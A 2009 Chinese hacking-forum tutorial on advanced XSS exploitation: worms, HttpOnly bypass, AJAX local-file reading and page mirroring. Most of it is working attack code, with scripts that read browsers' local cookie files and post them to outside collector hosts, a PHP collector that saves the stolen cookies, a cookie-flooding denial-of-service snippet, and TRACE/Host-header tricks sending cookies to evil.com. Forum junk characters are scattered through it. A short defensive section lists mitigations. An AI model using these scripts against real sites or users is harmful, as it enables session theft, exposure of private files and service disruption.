XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
8 u  |+ X# a8 S3 M; A4 {本帖最后由 racle 于 2009-5-30 09:19 编辑

# e( t# ]# C7 H. ]; cXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
By racle@tian6.com   
  T$ y+ u, {6 ~* z; v0 N6 b9 Yhttp://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
: V- {8 z1 F" J/ G  o1 M
- n- S& X+ Y6 s
- W+ \' g$ e+ l8 s' K
+ M" h# x7 f7 i-------------------------------------------前言---------------------------------------------------------
; J$ z- k7 i1 _. Q+ a  h
; h' J  t9 Y; K" B1 y
9 Q& M8 E0 f$ J. v* j! W6 e本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


( c: O: o: e2 ]; q2 i如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
% u4 Q- N0 e" C4 y/ `0 _http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
1 N+ O' s+ h1 C, O/ H) G/ F  V0 Dhttp://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
( V+ z0 v$ _) x" k4 bhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
) ], T$ [- t3 J) z# t2 W9 g, y! y
; ?/ f* {  p1 P( ^4 L

1 p( `2 C4 f, U! }. @
如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
& z8 q! J, q0 _8 @- Y
8 M' s$ v4 E6 R  M+ i6 r希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
0 }% v: Z+ |" x
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

" w) A' s# K. R0 J" ~Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
& r! \$ U9 k/ {' t) A
3 P2 f! |8 K! L! \1 J0 Z( K( {1 KQQ ZONE,校内网XSS     感染过万QQ ZONE.

OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
* x0 `" Y/ I& f& w" L2 e8 t' x
3 X$ H! p9 z* N4 X/ R# [+ {; \  e

跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
- Q7 Z* Q. H/ h1 l2 y  R
, g' Z. [& |0 R/ a
2 e! ]' n. M7 s2 t. I8 v$ @/ h
! l+ }  t# E- K5 b! P  J如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
' a: g% u$ s7 j) V  ^0 q$ e复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
7 B4 g1 M6 h, ]" I  ?2 W
1        通过XSS,我们能实现什么?
% n7 m) K; C! \# J& }! v0 D* [
7 ~8 ~* T. f% {! o( b+ @) |; G+ t+ W! x2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
+ D1 I* r. x7 {; m- j
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

0 w: S" V! G8 P/ p3 x( n7 W6 n4        XSS漏洞在输出和输入两个方面怎么才能避免.
* x  Q; m6 D: ^  E


------------------------------------------研究正题----------------------------------------------------------
1 \0 X. B6 ?; G' F  w* g2 A% u


通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
) Z% Z3 c. q3 B1 V1 t. h; E复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
4:Http-only可以采用作为COOKIES保护方式之一.



& e1 Y; E6 Y: [! O0 _2 a* R& x/ P
& u/ H- K6 Y  z9 s
' Q. ^" S3 q; }, A8 }(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
, }" d& a, b# b; y5 e% ]! v" w
7 E: I/ P! r7 s/ U# g: L% @3 x我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
) h# z# K8 U' a+ m# g) O
% G7 `$ a: G6 n9 _! J0 u
2 F! Q# }$ i( u1 a# s% |: T1 p& i
  ~) Z. l$ O4 k! t    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。



    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
; A0 s6 b1 e. X% j! [/ P


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
2 ?) d3 S# ]# p- b+ L3 b复制代码IE6使用ajax读取本地文件    <script>
1 @% R! V) d% E' R: Z
0 y/ T- s( Q3 Y# W  e7 i' a    function $(x){return document.getElementById(x)}

" }4 O7 P! b: s' K% F
2 @8 x: @7 R) J6 _$ |! p
$ d: O2 B, [! v) K    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {
5 V- P' q: i% m+ u: z3 @) ^* P! L1 C
8 ?1 S+ m2 t: K) y5 Z    request = new XMLHttpRequest();
1 M" s8 l4 D6 `  p0 K4 l
" `5 ?, C* f, h7 V8 l    } else if(window.ActiveXObject) {

" N0 D+ s5 |* X+ |$ m" @% H    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

! [0 I8 N( f) J( A+ R
- Y% q6 v9 p( k1 [% W8 P
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {
5 r$ _4 q, k( Z2 x  L! _, i
    try {
# X2 x9 \6 f/ h$ P9 m, F: C) b
    request = new ActiveXObject(versions);
) d6 u1 A" ^$ C/ Q+ u1 x/ ~$ Z
    } catch(e) {}

9 D7 C9 D9 X3 U+ u/ j% X- d    }
! `. z: ]" r) J
    }

' S- ]1 D4 O0 _0 Y% Z+ x; s$ _' v3 L    return request;

    }

    var _x = ajax_obj();
: T. R7 ]& [6 I( s8 G
$ D, ?; l) N5 l4 Y7 T" E    function _7or3(_m,action,argv){

$ `3 r* G/ v8 B+ b' ?! P    _x.open(_m,action,false);

7 k9 }$ G: T6 D5 {- ?0 i5 u& I. V7 U    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
) [3 R& }, v' w, D! j1 O; G/ @" _8 w
    _x.send(argv);

    return _x.responseText;

    }


; ^  a! v6 Z3 V& o: D0 ~- I  m
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);
9 d4 y: O' R- t2 `
    alert(txt);
8 q. s$ i! M( M. g; d( i* e


4 l9 c3 \, W, K1 G: O    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

$ h  u  H5 k) W! A1 e0 J' f    function $(x){return document.getElementById(x)}
9 P: j# L# B. T* t

" ]  ]! P* V4 A$ K3 M
    function ajax_obj(){

: F. @. S/ x6 v2 W7 v: A# x( L  R/ G5 r    var request = false;
( H) L: Y* j* N% d" Q
7 ]" G7 A$ M( C    if(window.XMLHttpRequest) {

& u. f) N5 l6 N5 Q' b* C# k6 w/ D    request = new XMLHttpRequest();

' q; M0 u+ H! Z    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
0 C' i' L# X& x* T2 J


( ?8 Y6 Y6 y* n2 p$ b. G- [0 E2 h    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

/ ~& M; _/ A7 v8 [# d    for(var i=0; i<versions.length; i++) {
( G) b1 p) s7 u' |. x
    try {
7 p$ y+ G  f" m0 i5 \' p+ p
: H2 H) g; [+ F* o8 e% z- E    request = new ActiveXObject(versions);
0 N0 p7 a# L7 @: Z' M
    } catch(e) {}

    }

8 }4 r: f. h  M# {    }

    return request;
$ w% Q, Q  c' a9 \. u1 l
    }
: g& c/ o- i. C' L! l# i& c
! V( o& }! e5 ~3 H2 e    var _x = ajax_obj();
  s6 D) g9 A. ^, Z) r6 H& p( R
7 w- h/ M1 }: w    function _7or3(_m,action,argv){
) `' ~0 W; s( c; F9 e9 ^7 c# ?9 ]9 l# k
    _x.open(_m,action,false);

+ e/ N/ g- S+ A6 r    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);

    return _x.responseText;

    }



    var txt=_7or3("GET","1/11.txt",null);

    alert(txt);
# p8 q1 X! T+ R, o0 z  C


    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

6 v/ u2 A; r4 J6 q6 i3 i' }( y

. s" r4 e, E; k0 [/ ]+ eChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
) ~! R# c! N4 b8 S
# ~2 B! g) a; D/ v' ~$ _) P' R
6 ?* ]6 k) Y0 x6 A0 _' k
<?   
: T! e* A! O' e  E
/*  
1 {% L+ ~2 A& N
     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

% ?1 ?. {& `- o; g# P( L4 ?     www.inbreak.net   

     author voidloafer@gmail.com 2009-4-22   

% z! S) w5 c# @2 p) a7 O0 N     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
; h/ `6 ^2 \8 N6 k  B9 ]0 D
9 x( H( l/ s( N, Z6 I; |header("Content-Disposition: attachment;filename=kxlzx.htm");   

header("Content-type: application/kxlzx");   

/*  

( {7 G$ x2 V8 v  E- A' d     set header, so just download html file,and open it at local.  
3 p7 D3 w4 K' ?7 k
8 {. a4 T8 D) |8 }*/  

?>   

<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   

     <input id="input" name="cookie" value="" type="hidden">   
( L6 H1 k8 G/ E8 m' O' t" X: e
! i4 k% N# [% T1 |& j</form>   

$ u! u7 d6 F3 G( K! [. r<script>   

function doMyAjax(user)   

{   
0 j, ]4 _7 x' o0 |; ?
var time = Math.random();   

7 q; m$ ^: E# g$ d7 E/*  
% P& F# V+ }1 T. `
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

4 `" W) j. {" o: b6 Y4 a. Y" mand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
6 F5 S4 P% D6 h; g$ c' P  z+ N
! y3 i- G/ `: y1 y: R( mand so on...  

8 I7 u' L* j  f1 _+ c7 V# C" T: b) n*/  
+ P4 g( p' i) k. i/ j& d
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   

   

& O) D# n7 g4 Z* D$ |5 xstartRequest(strPer);   



3 g7 t' l6 D! M7 E}   

   

function Enshellcode(txt)   

{   

# j6 ?% `! \5 b- _( Xvar url=new String(txt);   
; `# l) t+ j! v/ p% m& L- u1 i4 o
/ z! i) _$ j$ b: g# Hvar i=0,l=0,k=0,curl="";   

% G0 P, z6 P  M' T# {2 u$ n, u! zl= url.length;   

for(;i<l;i++){   
- n, u  B+ w: p9 C  m
: s9 P. ^  Q8 _  S7 zk=url.charCodeAt(i);   
: A4 q8 \1 v9 M: @- Y0 |
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
+ v) ?$ S! [# A  d9 q9 F: S+ V
if (l%2){curl+="00";}else{curl+="0000";}   

7 T2 I3 D  S  t. x1 c8 d+ z4 dcurl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   
7 P& W: F' V8 U# L! r
}   
1 K7 E$ w3 R# K$ e' |0 v7 S- q
   

   
% U" v, v5 d6 ~1 s5 V
( t6 S& T3 ]9 [$ Yvar xmlHttp;   

function createXMLHttp(){   

# G# S: k) Z* q  N/ P     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
2 i. G- m( U: @' ]5 |$ i! k
( Y, `: n$ C# T8 I- t     }   
3 w7 V( }' ]$ k9 |& m0 o9 a
     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   

     }   

5 e6 ?5 X/ T+ N}   

   

function startRequest(doUrl){   

   

5 [2 o) J" e8 K; u. n& X6 r4 m7 y6 w     createXMLHttp();   


- w% M* Y: k0 ^. W9 f' h1 t3 u
     xmlHttp.onreadystatechange = handleStateChange;   
- G% |8 z" W+ b( W9 R1 _/ V3 G

% T6 j2 ~- w0 v4 x/ o
     xmlHttp.open("GET", doUrl, true);   
: J1 M, ?+ q8 {8 K) z
* k+ x4 z" ~: l$ S

     xmlHttp.send(null);   
8 W4 K, Q2 r% X- }


! k- X2 ^) W: _" P' ~
, R0 U* F* e7 T" W
}   
. X: [0 }- Y" Y! z: l  F2 {0 V
   
/ t1 s( ]! J3 C5 Z, l- _2 Q- C: x
function handleStateChange(){   

- ]  O! r: p+ ]" p4 }. a2 X% q     if (xmlHttp.readyState == 4 ){   
7 {' A9 k/ k& P, K
     var strResponse = "";   

9 |7 H# `3 ]: c, n$ j) I  a     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
' l5 i/ o5 o5 ~
) a3 G% p1 a2 i$ N$ A2 t. y        
& f# G  `! L; i
     }   

, ~/ i3 [4 U7 `% s! t}   
9 T2 L: r* [3 f9 V# \1 I1 o; }
   
; s- V3 F( k# J! _
   
/ Q1 y: H# |2 X  g& [6 z6 ^( ]
( f2 @  K+ a9 P$ Z' ]# P, Dfunction framekxlzxPost(text)   
2 b; w' L0 [0 F0 ]
2 b: J2 W! \+ {( C; H6 h- w{   

, P6 e$ R/ t& z' ]4 W4 [     document.getElementById("input").value = Enshellcode(text);   
; y4 p8 w% l9 b& e! i
' I# F. M) _! N7 j: x+ F! a# H     document.getElementById("form").submit();   

/ [  p. d: Y1 ~" b  A}   
1 ]2 I8 A) [  A+ A2 |3 s) W- z
) J  D* L# ?/ h) V" j7 P   
9 }& D0 ]7 T6 ?& q' [
# a) J1 M8 ]- ]- _: QdoMyAjax("administrator");   
: k% ~2 T8 y: t( E
   
" @5 I! z/ I$ P' t8 k
</script>
5 D' C% J$ {* i: l% f复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
% @" M8 F: T- h6 Y
, ^0 S- q- K0 I# a2 gvar xmlHttp;  
4 `7 b. }4 C2 l  F! h7 M, i6 j3 r4 H9 b
function createXMLHttp(){  

     if(window.XMLHttpRequest){  

         xmlHttp = new XMLHttpRequest();         

     }  
  N; k; k8 N( H% R: P2 ~
     else if(window.ActiveXObject){  
8 i( N3 G7 g% X0 P; t8 E
" M4 n6 A1 ]7 l) M         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
/ {+ n6 ]) k& y
3 r* V" t5 V( z1 H0 h! W     }  
' I% x! J# ?; f0 L; b
3 w) A, Z' F9 t}  
* q: h5 ?& ?- P  J  ?8 }1 l3 m
  r- O7 H4 [( I0 |1 S, C0 A. S2 N   
. Y) H4 y% _( w) }! r* C" q- k
- A2 z; ?( y9 t2 Kfunction startRequest(doUrl){  

           
. ^5 q1 |  e: b! `9 m& I- c  ^
9 O; r( o! E4 o  n     createXMLHttp();  
! x) k5 E# K' b5 r/ f6 m9 P
# G0 Q' P9 R8 O: A" h4 r7 R      

     xmlHttp.onreadystatechange = handleStateChange;  

      

     xmlHttp.open("GET", doUrl, true);  
8 X) W4 H( n& ?, W2 o
# \3 K9 a8 ]8 R" G# v9 X: W" E- X      

0 H# [- O2 k( H/ t$ `     xmlHttp.send(null);  

      
% S: E4 p) ?, T
      

}   

3 ^- R) D7 {; Z8 T3 u. a3 I! y1 K   

function handleStateChange(){  

     if (xmlHttp.readyState == 4 ){  
- ^$ V: S5 ^* q& V% ?6 ^
8 d9 M/ d+ j5 |" c4 o* V, ]5 `' w             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
5 b* L! L( y- Y! B4 q3 E! b* E' K
! R6 O/ K' U8 D* h1 A+ M               
( ~8 j8 A+ I8 [5 b) }
9 M0 x+ q2 D3 B' ^1 U$ h" ^     }  

}  

# X# r, s* A& v5 N  r   

' Y- x! L0 N2 c4 [; ?- ?/ D& Tfunction doMyAjax(user,file)  
: b# ^% H( u2 _# C$ N+ k1 E1 k, O
{  
  ]; o* E: q- ^
         var time = Math.random();  

" r7 T8 U' B9 n" B' Z8 C. z           
) P. u' M3 B  Y' {4 P1 B( s
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
' R8 ^4 p' s# y7 z
         startRequest(strPer);  

      

9 h! `5 r4 D6 n5 N) |) G}  
8 H4 G0 h% l: T* y" f
  T0 G& J/ e! i/ a9 F! M: j1 w   
! y6 T" J8 A. Z% e! z- u' Z
function framekxlzxPost(text)  
  A! V7 k/ ?' y, a
{  

     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
$ y) ^- x$ @6 P8 r$ U
. c! b& o# _" w3 r$ H     alert(/ok/);  

2 q5 z* f9 D) e! S/ k* D}  

6 T& Z6 P2 V- y1 V1 S4 l: M   
. ^2 n  V' w. M  g& O+ f6 i0 X
9 e. y2 i# J5 G* S$ c. h/ VdoMyAjax('administrator','administrator@alibaba[1].txt');  
1 L/ C0 I& v: T& \3 J+ C3 e
' U' d, v0 d4 D; {, G# m   

</script>
: W4 k3 G, c2 D; q* {+ q3 q( ~
  s5 R' z0 J/ @7 T8 R# L



/ y8 q# N. k7 \7 q, ra.php
* U7 p2 F9 O6 S+ u2 V


# |- e& a: ^* i; W8 d<?php      
3 ^3 `; f3 ^. u& x1 I
   
. |5 X) [& Q0 L
* j" s0 V- `) f6 [( f6 [$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
/ [9 I# f6 C* q2 Y9 r
: w$ |+ v! }% L( A7 k$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   
* P+ h$ ?/ P9 g  `* v2 n' Q( x, R" J
  

% G, Y8 ~1 N7 B, C  e9 l: j5 q4 _$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      
4 c" i, ]' U) b2 d) Q' p
% H1 O  j: @9 H' O* t. }+ dfclose($fp);   

?>
: f$ J6 Z; [* L* j复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
% M( O" @2 t' ~  ^; }/ y4 |利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

" Y# r7 k2 W! O' J, ?代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
! u  T: q( X" v0 a3 A
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
9 B  I! l; N( F$ K; u
//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
5 \( l: H2 @+ R  R; A) e: P, e
/ e$ C$ a$ f, P% I7 E9 k& Y% [function getURL(s) {

1 `2 o% F9 r* R, U2 o2 h3 M- gvar image = new Image();

image.style.width = 0;
% M: L7 C7 H8 e" ^" H
' s8 B- X2 |+ z. T3 timage.style.height = 0;
* m5 r5 n- }6 m0 q5 o/ o' C7 j
: z3 p; c; x+ k; k9 jimage.src = s;

}
- W5 o9 c( n+ R
( Z) G) Y2 [/ [% ^7 YgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
" M' N* D2 G* I! H- J这里引用大风的一段简单代码:<script language="javascript">

var metastr = "AAAAAAAAAA"; // 10 A
5 N( C7 W8 ^5 ?
var str = "";
. z1 P8 v6 L9 g! E; \. m1 O
$ b6 J( X2 b# L0 M1 _0 ~while (str.length < 4000){

3 R9 r* R5 d. r+ L0 [    str += metastr;
) t4 N  r3 E1 _! g# _
}


6 y, a4 X# W0 \
9 n1 K( c( X2 ]- adocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
" t+ S1 I1 ~4 V0 r- K: j
8 h2 u% t! P7 X) M</script>

" D! H5 t6 j- Q  `详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150

/ z) p# J! _/ G假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
1 n6 s9 }. c! q7 ^- r0 K! l2 o攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
1 G4 z: Y3 T2 P: l  S2 ~$ h

/ N1 J7 [- D0 i5 v2 A9 v



(III) Http only bypass 与 补救对策:
4 A% G) s' ?3 z3 N  L
什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
2 d8 g% \$ c6 Z. m以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--

) l% T( U$ g( z) ]& z* a0 I% x% tfunction normalCookie() {
, w& g% K. s1 N6 u
document.cookie = "TheCookieName=CookieValue_httpOnly";
9 j. ^. |% C6 D$ F+ m! _- d
9 d+ }( l* D& g, ^4 D( f8 V3 Halert(document.cookie);

}
! d1 R& n. |. i! ^( X  w5 |$ P! d


/ q8 u+ Q* N6 F) B, r
, u, j- T: ?$ Z2 P) i0 ], L6 Y# |5 V
function httpOnlyCookie() {
, E" ~' y( w6 \# a: ?& z5 l
7 Q7 U1 Q2 Z# sdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
. c# Y7 s; G5 O0 j
/ {' U7 V$ v* T$ jalert(document.cookie);}



//-->

$ A) S9 X; P/ D8 c4 S</script>

8 _7 R1 R' f3 ?

0 |6 L6 O% A1 q% Y; b' R; |: Q. F<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

) q$ X: C" t; T4 P' Z% A<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>


/ @* d% _* D2 x+ x( ^
var request = false;

3 q9 s, G8 C2 D, C) |9 b5 ^* V        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();
7 z1 B# I$ r: w6 e+ `! k+ z9 k- G7 a
  a( \  v7 d2 l. [; ~8 ~            if(request.overrideMimeType) {

& h! z; x6 j3 L* @2 ]' z                request.overrideMimeType('text/xml');

            }
% }2 g3 U+ |& |
' H2 H. S5 ?! l        } else if(window.ActiveXObject) {
+ t5 L6 o6 j" o+ H" I
0 ]- w  F+ B& @) a            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

# I5 C. R9 t" `4 c6 p( M            for(var i=0; i<versions.length; i++) {
0 {/ ]+ B0 @3 @) v1 p- d
                try {

                    request = new ActiveXObject(versions);
  i0 s1 D, [3 ?) G  X& }
* [0 v: F1 F. K2 y0 Y, S6 ?: d                } catch(e) {}

3 l7 Z  _' B3 E6 t; |% r8 O            }

        }

xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);

( h8 c0 S9 I& O- v) [xmlHttp.send(null);
7 i4 T* |- c1 Q' j. N9 O; c& o7 i
xmlDoc=xmlHttp.responseText;

alert(xmlDoc);
4 B  h1 _2 p4 c! }  @( r
+ e. l4 j/ V/ b' s" r4 d4 {8 w% c5 |+ _</script>
+ H. t) y: c0 F8 D# O复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
; C: r2 u  A7 l( n$ O/ d9 Q/ `3 K
% ]+ E: J# M0 N9 }5 k: g: D% Nvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

/ A  Z- o( N) I" uXmlHttp.open("GET","http://www.google.com",false);

% z8 x; R1 ~: |" G% q6 JXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
! l, w  ]2 A' \: R" `- ]
8 p$ u# B1 a  t5 ]/ v5 y7 I/ V- tvar resource=xmlHttp.responseText
; Z# ^% i! c- k) `
resource.search(/cookies/);
+ i; i+ f& ^7 I; Y+ f0 ]* N6 q
3 B" W! i& n6 [; @4 a......................
- d2 k, x% j- b2 s: P3 G; C& k
</script>
! }9 \! ~, ~& w0 h! Q7 ?2 `


/ }3 T8 o( o8 ~+ \) ^. G# |% c9 V
$ ^5 v- |, t5 G+ n
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
1 c' ]& Z, D  K7 T
) W1 L' v9 Y9 x, X$ A[code]

2 o+ M. m. G, WRewriteEngine On

RewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]



Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
% i4 t1 G+ n/ ]: _7 v
acl TRACE method TRACE

...

, \' o! ~% e( ?6 K( G% B+ Hhttp_access deny TRACE
6 q2 ]/ N9 e/ B8 w复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

3 q2 S0 @: c  \6 U. V* Y$ F) SXmlHttp.open("GET","http://www.google.com",false);
3 |) g- M# n) K4 @# O; N- G- e
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

- h+ \9 L  L( c3 K4 Z3 LXmlHttp.send(null);

</script>
% u8 r6 e" k! ]9 U- {/ O复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
6 Z& n6 v( C' S( k
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

: E0 S( b1 E! h3 g

XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
5 X5 M% \% B4 Q: ~: G
